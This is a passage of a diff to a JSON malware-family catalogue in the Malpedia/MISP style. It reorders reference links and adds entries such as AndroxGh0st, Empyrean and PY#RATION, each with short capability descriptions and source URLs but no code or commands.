"https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56", "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf", - "https://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/", "https://objective-see.com/blog/blog_0x3B.html", "https://objective-see.com/blog/blog_0x3D.html", - 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"https://www.zscaler.com/blogs/security-research/analysis-xloaders-c2-network-encryption" + "https://twitter.com/krabsonsecurity/status/1319463908952969216", + "https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/" ], "synonyms": [ "Formbook" @@ -9459,8 +9950,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xslcmd", - "https://objective-see.com/blog/blog_0x16.html", - "https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html" + "https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html", + "https://objective-see.com/blog/blog_0x16.html" ], "synonyms": [], "type": [] @@ -9473,8 +9964,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.yort", - "https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/", - "https://objective-see.com/blog/blog_0x53.html" + "https://objective-see.com/blog/blog_0x53.html", + "https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/" ], "synonyms": [], "type": [] @@ -9487,8 +9978,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.zuru", - 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"https://blog.talosintelligence.com/2019/05/sorpresa-jasperloader.html" + "https://blog.talosintelligence.com/2019/04/jasperloader-targets-italy.html" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d8de6b56-9950-4389-83b8-4fc3262dc4c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "286a14a1-7113-4bed-97ce-8db41b312a51", "value": "JasperLoader" }, @@ -9873,11 +10349,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.octopus", - "https://isc.sans.edu/diary/rss/28628", - "https://github.com/mhaskar/Octopus", - "https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf", "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - "https://isc.sans.edu/diary/26918" + "https://github.com/mhaskar/Octopus", + "https://isc.sans.edu/diary/26918", + "https://isc.sans.edu/diary/rss/28628", + "https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf" ], "synonyms": [], "type": [] @@ -9890,9 +10366,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.oilrig", + "https://twitter.com/MJDutch/status/1074820959784321026?s=19", "https://threatpost.com/oilrig-apt-unique-backdoor/157646/", - "https://www.vkremez.com/2018/03/investigating-iranian-threat-group.html", - "https://twitter.com/MJDutch/status/1074820959784321026?s=19" + "https://www.vkremez.com/2018/03/investigating-iranian-threat-group.html" ], "synonyms": [], "type": [] @@ -9905,8 +10381,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.poshspy", - "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html", - "https://github.com/matthewdunwoody/POSHSPY" + "https://github.com/matthewdunwoody/POSHSPY", + "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" ], "synonyms": [], "type": [] @@ -9933,8 +10409,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerpepper", - "https://securelist.com/what-did-deathstalker-hide-between-two-ferns/99616/", - "https://twitter.com/InQuest/status/1285295975347650562" + "https://twitter.com/InQuest/status/1285295975347650562", + "https://securelist.com/what-did-deathstalker-hide-between-two-ferns/99616/" ], "synonyms": [], "type": [] @@ -9947,8 +10423,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerpipe", - 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"https://unit42.paloaltonetworks.com/atoms/clean-ursa/" + "https://securelist.com/recent-cloud-atlas-activity/92016", + "https://securelist.com/recent-cloud-atlas-activity/92016/" ], "synonyms": [], "type": [] @@ -10020,8 +10496,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powersource", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf" ], "synonyms": [], @@ -10040,15 +10516,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "5629bc84-58eb-42d9-adc6-cd0eeb08ccaf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "c07f6484-0669-44b7-90e6-f642e316d277", "value": "PowerSpritz" }, @@ -10057,25 +10524,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerstats", - "https://www.secureworks.com/research/threat-profiles/cobalt-ulster", - "https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", - "https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/", - "https://shells.systems/reviving-leaked-muddyc3-used-by-muddywater-apt/", - "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", "http://www.secureworks.com/research/threat-profiles/cobalt-ulster", - "https://unit42.paloaltonetworks.com/atoms/boggyserpens/", - "https://blog.prevailion.com/2020/01/summer-mirage.html", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", - "https://www.clearskysec.com/muddywater-operations-in-lebanon-and-oman/", - "https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/", + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", "https://marcoramilli.com/2020/01/15/iranian-threat-actors-preliminary-analysis/", - "https://www.clearskysec.com/muddywater-targets-kurdish-groups-turkish-orgs/", - "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", - "https://securelist.com/apt-trends-report-q2-2019/91897/" + "https://unit42.paloaltonetworks.com/atoms/boggyserpens/", + "https://shells.systems/reviving-leaked-muddyc3-used-by-muddywater-apt/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", + "https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia/", + "https://www.secureworks.com/research/threat-profiles/cobalt-ulster", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/", + "https://www.clearskysec.com/muddywater-targets-kurdish-groups-turkish-orgs/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", + "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", + "https://blog.prevailion.com/2020/01/summer-mirage.html", + "https://www.clearskysec.com/muddywater-operations-in-lebanon-and-oman/" ], "synonyms": [ "Valyria" @@ -10090,13 +10557,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerton", - "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", - "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html", "https://www.symantec.com/security-center/writeup/2019-062513-4935-99", + "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html", "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/", - "https://norfolkinfosec.com/apt33-powershell-malware/", + "https://blog.telsy.com/meeting-powerband-the-apt33-net-powerton-variant/", "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://blog.telsy.com/meeting-powerband-the-apt33-net-powerton-variant/" + "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", + "https://norfolkinfosec.com/apt33-powershell-malware/" ], "synonyms": [], "type": [] @@ -10143,23 +10610,36 @@ "uuid": "f5fa77e9-9851-48a6-864d-e0448de062d4", "value": "PowerZure" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.power_magic", + "https://securelist.com/bad-magic-apt/109087/?s=31" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7ee51054-1d3b-45ec-a7fd-1e212c891b99", + "value": "PowerMagic" + }, { "description": "DLL loader that decrypts and runs a powershell-based downloader.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powgoop", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", - "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/", - "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.cyberscoop.com/muddywater-iran-symantec-middle-east/", - "https://www.security.ntt/blog/analysis-of-an-iranian-apts-e400-powgoop-variant", - "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/", - "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", - "https://unit42.paloaltonetworks.com/thanos-ransomware/", "https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east" + "https://www.cyberscoop.com/muddywater-iran-symantec-middle-east/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", + "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", + "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/", + "https://www.security.ntt/blog/analysis-of-an-iranian-apts-e400-powgoop-variant", + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", + "https://unit42.paloaltonetworks.com/thanos-ransomware/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/" ], "synonyms": [], "type": [] @@ -10199,11 +10679,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.quadagent", + "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html", "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca", - "https://youtu.be/pBDu8EGWRC4?t=2492", "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", - "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html" + "https://youtu.be/pBDu8EGWRC4?t=2492", + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" ], "synonyms": [], "type": [] @@ -10229,8 +10709,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.roguerobin", - "https://ironnet.com/blog/dns-tunneling-series-part-3-the-siren-song-of-roguerobin/", "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", + "https://ironnet.com/blog/dns-tunneling-series-part-3-the-siren-song-of-roguerobin/", "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca" ], "synonyms": [], @@ -10270,19 +10750,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.sload", - "https://blog.minerva-labs.com/sload-targeting-europe-again", "https://www.proofpoint.com/us/threat-insight/post/sload-and-ramnit-pairing-sustained-campaigns-against-uk-and-italy", - "https://threatpost.com/sload-spying-payload-delivery-bits/151120/", - "https://cert-agid.gov.it/news/campagna-sload-v-2-9-3-veicolata-via-pec/", - "https://www.certego.net/en/news/sload-hits-italy-unveil-the-power-of-powershell-as-a-downloader/", - "https://www.microsoft.com/security/blog/2020/01/21/sload-launches-version-2-0-starslord/", "https://www.cert-pa.it/notizie/campagna-sload-star-wars-edition-veicolata-via-pec/", - "https://www.vkremez.com/2018/08/lets-learn-in-depth-into-latest-ramnit.html", - "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", - "https://cyware.com/news/new-sload-malware-downloader-being-leveraged-by-apt-group-ta554-to-spread-ramnit-7d03f2d9", "https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/", + "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", + "https://www.vkremez.com/2018/08/lets-learn-in-depth-into-latest-ramnit.html", + "https://cyware.com/news/new-sload-malware-downloader-being-leveraged-by-apt-group-ta554-to-spread-ramnit-7d03f2d9", + "https://threatpost.com/sload-spying-payload-delivery-bits/151120/", + "https://blog.minerva-labs.com/sload-targeting-europe-again", "https://www.cybereason.com/blog/banking-trojan-delivered-by-lolbins-ramnit-trojan", - "https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/" + "https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/", + "https://www.certego.net/en/news/sload-hits-italy-unveil-the-power-of-powershell-as-a-downloader/", + "https://cert-agid.gov.it/news/campagna-sload-v-2-9-3-veicolata-via-pec/", + "https://www.microsoft.com/security/blog/2020/01/21/sload-launches-version-2-0-starslord/" ], "synonyms": [ "Starslord" @@ -10297,8 +10777,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.snugy", - "https://unit42.paloaltonetworks.com/atoms/hunter-serpens/", - "https://unit42.paloaltonetworks.com/xhunt-campaign-backdoors/" + "https://unit42.paloaltonetworks.com/xhunt-campaign-backdoors/", + "https://unit42.paloaltonetworks.com/atoms/hunter-serpens/" ], "synonyms": [], "type": [] @@ -10363,8 +10843,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_002", - "https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/", - "https://www.bleepingcomputer.com/news/security/phishing-campaign-targets-russian-govt-dissidents-with-cobalt-strike/" + "https://www.bleepingcomputer.com/news/security/phishing-campaign-targets-russian-govt-dissidents-with-cobalt-strike/", + "https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/" ], "synonyms": [], "type": [] @@ -10385,17 +10865,30 @@ "uuid": "709ba4ad-9ec5-4e0b-b642-96db3b7f6898", "value": "Unidentified PS 003 (RAT)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.vipersoftx", + "https://decoded.avast.io/janrubin/vipersoftx-hiding-in-system-logs-and-spreading-venomsoftx/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "15b551ea-b59a-40f9-a10f-6144415d2d5c", + "value": "ViperSoftX" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wannamine", - "https://news.sophos.com/fr-fr/2020/01/22/wannamine-meme-cybercriminels-veulent-avoir-mot-a-dire-sur-brexit/", - "https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/", - "https://nakedsecurity.sophos.com/2018/01/31/what-are-wannamine-attacks-and-how-do-i-avoid-them/", "https://www.crowdstrike.com/blog/cryptomining-harmless-nuisance-disruptive-threat/", "https://www.cybereason.com/blog/wannamine-cryptominer-eternalblue-wannacry", - "https://www.accenture.com/_acnmedia/PDF-46/Accenture-Threat-Analysis-Monero-Wannamine.pdf" + "https://nakedsecurity.sophos.com/2018/01/31/what-are-wannamine-attacks-and-how-do-i-avoid-them/", + "https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/", + "https://www.accenture.com/_acnmedia/PDF-46/Accenture-Threat-Analysis-Monero-Wannamine.pdf", + "https://news.sophos.com/fr-fr/2020/01/22/wannamine-meme-cybercriminels-veulent-avoir-mot-a-dire-sur-brexit/" ], "synonyms": [], "type": [] @@ -10429,6 +10922,22 @@ "uuid": "d1150a1a-a2f4-4954-b22a-a85b7876408e", "value": "WMImplant" }, + { + "description": "According to Laceworks, this is a SMTP cracker, which is primarily intended to scan for and parse Laravel application secrets from exposed .env files. Note: Laravel is an open source PHP framework and the Laravel .env file is often targeted for its various configuration data including AWS, SendGrid and Twilio. AndroxGh0st has multiple features to enable SMTP abuse including scanning, exploitation of exposed creds and APIs, and even deployment of webshells. For AWS specifically, the malware scans for and parses AWS keys but also has the ability to generate keys for brute force attacks. However, the brute force capability is likely a novelty and is a statistically unlikely attack vector.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.androxgh0st", + "https://www.lacework.com/blog/androxghost-the-python-malware-exploiting-your-aws-keys/" + ], + "synonyms": [ + "Androx", + "AndroxGhost" + ], + "type": [] + }, + "uuid": "e8f24c9c-c03c-4740-a121-d73789931c8e", + "value": "AndroxGh0st" + }, { "description": "", "meta": { @@ -10460,13 +10969,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.brickerbot", - "http://depastedihrn3jtw.onion/show.php?md5=2c822a990ff22d56f3b9eb89ed722c3f", - "https://www.bleepingcomputer.com/news/security/brickerbot-author-claims-he-bricked-two-million-devices/", - "https://www.bleepingcomputer.com/news/security/brickerbot-author-retires-claiming-to-have-bricked-over-10-million-iot-devices/", - "http://seclists.org/fulldisclosure/2017/Mar/7", + "https://security.radware.com/ddos-threats-attacks/brickerbot-pdos-permanent-denial-of-service/", "https://www.trustwave.com/Resources/SpiderLabs-Blog/BrickerBot-mod_plaintext-Analysis/", "https://ics-cert.us-cert.gov/alerts/ICS-ALERT-17-102-01A", - "https://security.radware.com/ddos-threats-attacks/brickerbot-pdos-permanent-denial-of-service/" + "https://www.bleepingcomputer.com/news/security/brickerbot-author-claims-he-bricked-two-million-devices/", + "http://seclists.org/fulldisclosure/2017/Mar/7", + "http://depastedihrn3jtw.onion/show.php?md5=2c822a990ff22d56f3b9eb89ed722c3f", + "https://www.bleepingcomputer.com/news/security/brickerbot-author-retires-claiming-to-have-bricked-over-10-million-iot-devices/" ], "synonyms": [], "type": [] @@ -10487,6 +10996,19 @@ "uuid": "53dd4a8b-374e-48b6-a7c8-58af0e31f435", "value": "DropboxC2C" }, + { + "description": "Discord Stealer written in Python with Javascript-based inject files.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.empyrean", + "https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b1aa0be3-b725-4135-b0b9-3a895d4ef047", + "value": "Empyrean" + }, { "description": "According to Kaspersky Labs, Guard is a malware developed by threat actor WildPressure. It is written in Python and packaged using PyInstaller, both for Windows and macOS operating systems. Its intrinsics resemble parts of how win.milum operates.", "meta": { @@ -10519,28 +11041,21 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.lazagne", "https://github.com/AlessandroZ/LaZagne", - "https://attack.mitre.org/groups/G0100/", - "https://attack.mitre.org/groups/G0100", - "https://www.infinitumit.com.tr/apt-35/", - "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", - "https://edu.anarcho-copy.org/Against%20Security%20&%20%20Self%20Security/Group-IB%20RedCurl.pdf", - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://attack.mitre.org/groups/G0100/", + "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", + "https://attack.mitre.org/groups/G0100", + "https://edu.anarcho-copy.org/Against%20Security%20&%20%20Self%20Security/Group-IB%20RedCurl.pdf", + "https://www.mandiant.com/resources/blog/alphv-ransomware-backup", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://www.infinitumit.com.tr/apt-35/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d0394d50-5316-4405-aa77-1070bdf68b6a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "c752f295-7f08-4cb0-92d5-a0c562abd08c", "value": "LaZagne" }, @@ -10577,19 +11092,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.n3cr0m0rph", - "https://github.com/lacework/lacework-labs/tree/master/keksec", - "https://blogs.juniper.net/en-us/threat-research/necro-python-botnet-goes-after-vulnerable-visualtools-dvr", - "https://twitter.com/xuy1202/status/1393384128456794116", - "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", "https://www.bleepingcomputer.com/news/security/freakout-malware-worms-its-way-into-vulnerable-vmware-servers/", - "https://www.lacework.com/blog/spytech-necro-keksecs-latest-python-malware/", - "https://blog.talosintelligence.com/2021/06/necro-python-bot-adds-new-tricks.html", "https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/", - "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", - "https://blog.netlab.360.com/necro-upgrades-again-using-tor-dynamic-domain-dga-and-aiming-at-both-windows-linux/", - "https://www.lacework.com/the-kek-security-network/", "https://twitter.com/xuy1202/status/1392089568384454657", - "https://www.lacework.com/keksec-tsunami-ryuk/" + "https://www.lacework.com/blog/the-kek-security-network/", + "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", + "https://www.lacework.com/blog/spytech-necro-keksecs-latest-python-malware/", + "https://www.lacework.com/keksec-tsunami-ryuk/", + "https://blogs.juniper.net/en-us/threat-research/necro-python-botnet-goes-after-vulnerable-visualtools-dvr", + "https://blog.talosintelligence.com/2021/06/necro-python-bot-adds-new-tricks.html", + "https://github.com/lacework/lacework-labs/tree/master/keksec", + "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", + "https://www.lacework.com/the-kek-security-network/", + "https://blog.netlab.360.com/necro-upgrades-again-using-tor-dynamic-domain-dga-and-aiming-at-both-windows-linux/", + "https://twitter.com/xuy1202/status/1393384128456794116" ], "synonyms": [ "FreakOut", @@ -10631,14 +11147,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.poet_rat", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://blog.talosintelligence.com/2020/10/poetrat-update.html", - "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", "https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-stibnite/", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", + "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/", + "https://blog.talosintelligence.com/2020/10/poetrat-update.html", + "https://blog.talosintelligence.com/yorotrooper-espionage-campaign-cis-turkey-europe/", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", - "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/" + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf" ], "synonyms": [], "type": [] @@ -10646,16 +11163,29 @@ "uuid": "b07819a9-a2f7-454d-a520-c6424cbf1ed4", "value": "Poet RAT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.powerat", + "https://blog.phylum.io/a-deep-dive-into-powerat-a-newly-discovered-stealer/rat-combo-polluting-pypi" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b5cb3d2b-0205-4883-aaff-0d0b7a7f032d", + "value": "poweRAT" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.pupy", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf", "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://github.com/n1nj4sec/pupy" + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf", + "https://github.com/n1nj4sec/pupy", + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity" ], "synonyms": [], "type": [] @@ -10663,6 +11193,18 @@ "uuid": "afcc9bfc-1227-4bb0-a88a-5accdbfd58fa", "value": "pupy (Python)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.pyaesloader" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b9ba4f66-78dc-491f-8fd4-0143816ce80e", + "value": "PyAesLoader" + }, { "description": "", "meta": { @@ -10681,8 +11223,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.pyback", - "https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_001", - "https://github.com/7h3w4lk3r/pyback" + "https://github.com/7h3w4lk3r/pyback", + "https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_001" ], "synonyms": [], "type": [] @@ -10690,13 +11232,26 @@ "uuid": "6d96cd1e-98f4-4784-9982-397c5df19bd9", "value": "pyback" }, + { + "description": "According to Securonix, this malware exhibits remote access trojan (RAT) behavior, allowing for control of and persistence on the affected host. As with other RATs, PY#RATION possesses a whole host of features and capabilities, including data exfiltration and keylogging. What makes this malware particularly unique is its utilization of websockets for both command and control (C2) communication and exfiltration as well as how it evades detection from antivirus and network security measures.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.pyration", + "https://www.securonix.com/blog/security-advisory-python-based-pyration-attack-campaign/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1dc471d3-6303-48a1-a17a-b4f29e5ba6a9", + "value": "PY#RATION" + }, { "description": "PyVil RAT", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.pyvil", - "https://www.cybereason.com/blog/no-rest-for-the-wicked-evilnum-unleashes-pyvil-rat", - "https://twitter.com/ESETresearch/status/1360178593968623617" + "https://twitter.com/ESETresearch/status/1360178593968623617", + "https://www.cybereason.com/blog/no-rest-for-the-wicked-evilnum-unleashes-pyvil-rat" ], "synonyms": [], "type": [] @@ -10739,9 +11294,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.serpent", - "https://blogs.vmware.com/security/2022/04/serpent-the-backdoor-that-hides-in-plain-sight.html", "https://www.bleepingcomputer.com/news/security/serpent-malware-campaign-abuses-chocolatey-windows-package-manager/", - 